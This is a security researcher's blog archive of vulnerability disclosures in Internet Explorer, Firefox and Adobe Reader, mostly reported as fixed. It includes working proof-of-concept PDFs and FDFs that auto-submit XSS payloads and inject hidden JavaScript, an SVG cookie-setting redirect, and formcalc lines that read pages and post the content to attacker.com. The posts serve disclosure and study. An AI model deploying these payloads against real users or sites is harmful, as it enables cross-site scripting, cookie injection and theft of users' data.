Sunday, January 22, 2017

Internet Explorer XSS Filter Bypass for POST with PDF


IE XSS Filter Bypass with PDF


I recently discovered an interesting issue in Internet Explorer regarding bypassing the XSS filter, which I am going to share with you.
Once again, assume the following scenario. The website on example.com suffers from a reflected XSS vulnerability in a POST payload:

test.php
<h1>xss test</h1>
<?php echo $_POST['xss']; ?>
<div>end</div>


Assuming the web page sets all the necessary headers, a post payload like xss=<script>alert(1)</script> will trigger the XSS filter and be caught.
Let's bypass this restriction:


PDF - SubmitForm Action


The PDF specification describes the SubmitForm action, which allows PDF to submit the AcroForm in different formats. One of the possible formats is HTML. Additionally it is possible to specify if a GET or POST request should be used. The response is rendered in the web browser. 
While playing with the feature I discovered that Internet Explorer will never trigger the XSS filter for sent POST requests. This allows to abuse a reflected XSS vulnerability with any payload, without worrying about the XSS filter. 
The following PDF will automatically submit a POST request to http://example.com/test.php. The payload contains xss=<script>alert(1)</script>:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

33 0 obj
<<
/S /SubmitForm
/F
        <<
        % URL TO SUBMIT TO:
        /F (http://example.com/test.php)
        /FS /URL
        >>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj

22 0 obj
<<
    /Fields [23 0 R]
>>
endobj
23 0 obj
<<
    /DA (/Helv 12 Tf 0 g)
    /F 4
    /FT /Tx
    /Rect [ 9.526760 680.078003 297.527008 702.078003 ]
    /Subtype /Widget
    /Type /Annot
    % PARAMETER NAME
    /T (xss)
    % PARAMETER PAYLOAD
    /V (<script>alert\(1\)</script>)
    /P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>


Just try it yourself. If you have any question, feel free to contact me on twitter.
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html


Tuesday, December 6, 2016

Firefox - SVG cross domain cookie vulnerability

SVG - Setting cookies cross domain via img tag


I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. 
The SVG standard does not include the meta tag but it supports the foreignobject tag:

The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.

An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file:
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>

Setting the cookie


I adapted the example and pointed the Browser to the following SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
</circle>
<foreignObject>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
</html>
</foreignObject>
</svg>
The hosting domain now has a cookie ppp=qqq.
The next step was to try, what will happen if another domain is loading this SVG file:
// Domain: http://example.com
<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie.svg">
</body>
Sadly the cookie was set for attacker.com, not for example.com.

Redirects + data uris

The final trick to make things work was to use the data: protocol handler and redirects.
Assume the following code on the domain example.com
<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie">
</body>
The webserver at attacker.com uses the following response code:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>


As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:
https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20

The bug bounty decision is still in progress.

I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato)
:)







Sunday, October 23, 2016

PDF - How to steal PDFs by injecting JavaScript


Intro


Quite some time has passed since my last blog post, so I decided to present a nice feature of PDF. I will use a made up example to demonstrate how to inject JavaScript into a static PDF, which does not contain any attacker controlled data.
This bug was fixed on January 10, 2017.
Adobe Reader now displays a warning dialog for injected JavaScript via Additional Action.


The scenario


The EB or "example Bank" at example.com offers a member area for customers. After an user is logged in he can view PDFs, which contain important account information. One of the PDFs is available via http://example.com/data.pdf. 
How can an attacker inject JavaScript into this PDF, assuming that the victim is logged in, and steal it?


Injection Point: Welcome Open Parameters

Normally internal PDF features are used to load external content via one of the action types or JavaScript, which offers different function calls like submitForm to load external content. 
But as stated above, the PDF is static and the attacker can't influence it at all. 
Thankfully PDF supports a list of URL parameters called open parameters
Most parameters are pretty boring besides the last one in the list:

Parameter:
fdf=URL

Description:
Specifies an FDF file to populate form fields in the PDF file being opened. For example:
#fdf=http://example.org/doc.fdf
Note: The fdf parameter should be specified last in a URL.


FDF? It could be that some of you are not familiar with this file type so lets talk about the form data format:

What is: XDP,XFDF and FDF?

XDP
--------------------------------------------
I am not going to talk much about XDP, as it will not be used for the attack, but here is the description taken from Wikipedia:

Wikipedia: "XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container."

This feature was mostly used to evade AV detection:
http://shiftordie.de/blog/2011/02/09/evading-avs-using-the-xml-data-package-xdp-format/


FDF & XFDF
--------------------------------------------

XFDF is the XML version of FDF. As it only contains a subset of FDF, I won't discuss it. 
Simply speaking FDF can contain JavaScript, Form Data, Annotations or even complete PDF Pages (although I never managed to make this feature work).
A sample structure looks like this: 

%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF <<
/JavaScript << 
/After (app.alert('after'))
/Doc [
(PlusOne)(app.alert('42');
app.alert(URL);console.show();)
    ] >>
/ID[<7a0631678ed475f0898815f0a818cfa1><bef7724317b311718e8675b677ef9b4e>]
/Fields[
        <</T(Street)/V(345 Park Ave.)>>
        <</T(City)/V(San Jose)>>
        ]
        >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF



The general structure of FDF is the same as PDF. It needs a header eg. %FDF-<version> or the trailer object to specify the start objects. This example already shows two possible Keys, JavaScript and Fields. The Fields key allows it to specify a value for an existing form field in the existing PDFs. The JavaScript key allows to include JavaScript, which is executed in the loading PDF. The After key is executed as soon as the whole FDF is imported. The Doc key defines an array, which contains additional JavaScript scripts to be added to those defined in the JavaScript entry of the document’s name dictionary. So all the necessary ingredients for a working attack are there, right? Wrong! This is what happens if the following FDF is loaded in a PDF:

URL: http://example.com/fdf/asd.pdf#FDF=http://example.com/x_adat.fdf















/* English: JavaScript was blocked, to protect against security risk. */

This makes the JavaScript key useless for an attacker as the victim will not allow the script to run.
Let's keep reading the FDF specification.


Annotations



As I already mentioned FDF supports annotation. There are a lot of different annotations, the most known one being the comment annotation. Additionally you can add files, add sounds, stamps or strike-through text:












These annotations are not interesting regarding their functionality (besides the movie and screen annotations, as these allow to load flash files), but FDF supports a field called Additional Actions for annotations. This field allows to execute specific actions based on trigger events. PDF supports a lot of different events, the most useful for annotation is called PO: "An action to be performed when the page containing the annotation is opened."
By combining this event + the JavaScript action we have another way to inject JavaScript. The following FDF uses the FreeText annotation to add a JavaScript action to it:

%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<<
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[188.895 758.279 222.252 794.679]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
/AA 8 0 R
>>
endobj

8 0 obj
<<
/PO <<
/S /JavaScript
                /JS (app.alert(2);)
>>
>>
endobj

trailer
<</Root 1 0 R>>

%%EOF


Let's load it: 
URL: http://example.com/data.pdf#FDF=http://example.com/fdf/test2.fdf







As you can see the FreeText annotation is displayed and therefore JavaScript is executed inside the PDF. If you want to hide the injected annotation, modify the following key:

/Rect[188.895 758.279 222.252 794.679] ==> 
/Rect[0 0 0 0]

Adobe reader does not show any warning dialog so an attacker can send the following link to a logged in victim to steal his PDF information:

http://example.com/data.pdf#FDF=http://example.com/stealingFDF.fdf

Note:
The JavaScript payload to actually steal the information is left as an exercise. 



#FDF=<SAME ORIGIN FDF>

The impact of this attack is reduced as the FDF needs to be on the same origin as the loading PDF. I came up with two possible scenarios to bypass/fulfill this requirement. First an open redirect vulnerability can be used to load the FDF. Adobe Reader follows redirects without any checks regarding the new location. Second the FDF allows 494 bytes before its header. Additionally the content-type is ignored. This could be used to create a polyglot, which could be uploaded to the vulnerable site. The second approach is difficult as Adobe Reader blacklists a lot of possible headers like JPG, PNG and other images. 











Friday, February 12, 2016

MHTML: x-usc - A feature from the past


What is mhtml ?


For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".
It caused some troubles in the past, but I am not talking about those problems.


mhtml: handler - Internet Explorer


The mhtml handler can be used to specify a specific file inside a .mht file. It is used like this:

<img src="mhtml:http://example.com/file.mht!/image/image.jpg">

But it can do more than this. The interesting feature is how external links are implemented inside .mht files. It uses the x-usc: directive. This directive works always, no matter what file or what web page is addressed and also in the context of html pages. All you need is to specify the mhtml: handler.
Copy & paste the following url into the address bar of Internet Explorer:

mhtml:http://google.com/whatever!x-usc:http://bing.com

Look closely at the requests IE will send. It will fetch google.com as well as bing.com, which is then displayed. This can be concatenated even more:

mhtml:http://google.com/blubb!x-usc:mhtml:http://bing.com/dolphin!x-usc:http://example.com

Side Note: Edge does not recognize mhtml: via Copy&Paste. But when you change the location via JavaScript to a mhtml: uri, it works the same as in IE.

Of course this feature can be used in img tags, iframe, embed etc. Also any redirects in any of the concatenated web sites will be followed.

Have Fun playing with this feature, I have not discovered any important vulnerability so far :/

Tuesday, May 26, 2015

PDF - Mess with the web


PDF - Mess with the web


In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.

Presentation

Javascript execution via GotoE

PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.
One of the action is the so called GotoE action. This action is able to change the location of the document eg. /GotoE /F (http://example.com). Normally handlers like javascript: are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <embed> or <object> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.

Formcalc and header manipulation

I already wrote about the capability of formcalc to read same origin files.
The formcalc language offers another feature, which is quite powerful.
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.

Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc

%PDF-1. % can be truncated to %PDF-\0


1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>


XXE

I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.

Protection

To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.




Tuesday, April 21, 2015

VBScript Support in Spartan


Windows 10 - Spartans forgotten VBScript support


Taken from:
 [...] Gone were document modes. Removed was the subsystem responsible for emulating IE8 layout quirks. VBScript eliminated. 

I really liked to read that Spartan finally dropped VBScript support completely. But of course I was curious if this is really the case. Maybe they have forgotten a feature, in a different context than html, which supports VBScript too.
Because you are reading this blog entry right now it is obvious they did ;)

urn:schemas-microsoft-com:xslt


I was playing around with XML and XSLT and the possible attack vectors when I came across this interesting msdn page: msxsl:script.

Internet Explorer and Spartan support a tag in XSLT, which is called msxsl:script. It can be used to call JScript or VBscript in XSLT and use the return value.
You don't have access to the DOM etc, but native VBScript functions still work in Spartan.

Note: IE 11 in Edge mode will execute the VBScript too.

Poc:

xml_stylesheet.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="xml_stylesheet.xsl" type="text/xsl"?>
<catalog>
 <cd>
  <title>Empire Burlesque</title>
  <artist>Bob Dylan</artist>
 </cd>
</catalog>

xml_stylesheet.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="VBScript" implements-prefix="user">
Function xml()
 xml = Timer
End Function
</msxsl:script>
<xsl:template match="/">
  <html>
  <body>
  <h2><xsl:value-of select="user:xml()"/>My CD Collection</h2>
    <table border="1">
      <tr bgcolor="#9acd32">
        <th style="text-align:left">Title</th>
        <th style="text-align:left">Artist</th>
      </tr>
      <xsl:for-each select="catalog/cd">
      <tr>
        <td><xsl:value-of select="title"/></td>
        <td><xsl:value-of select="artist"/></td>
      </tr>
      </xsl:for-each>
    </table>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

Result
<html xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<body>
<h2>55791.859375My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
</tr>
<tr>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>
</tr>
</table>
</body>
</html>

Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids


/*UPDATE */
@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.
/**/



I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.


GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/

PoC:
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
[..]

7 0 obj
<<
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)
>>
endobj
[..]
PoC

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well
https://molnarg.github.io/cve-2014-0521/

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:














The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:
















We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:



















PoC
Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:










PoC

The Impact is limited because
 o) it is limited to same origin
 o) HTML Pages break the xml
 o) Dynamic Entities are not supported
 o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.


But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");
Post("http://attacker.com",content);

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.

PoC

After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.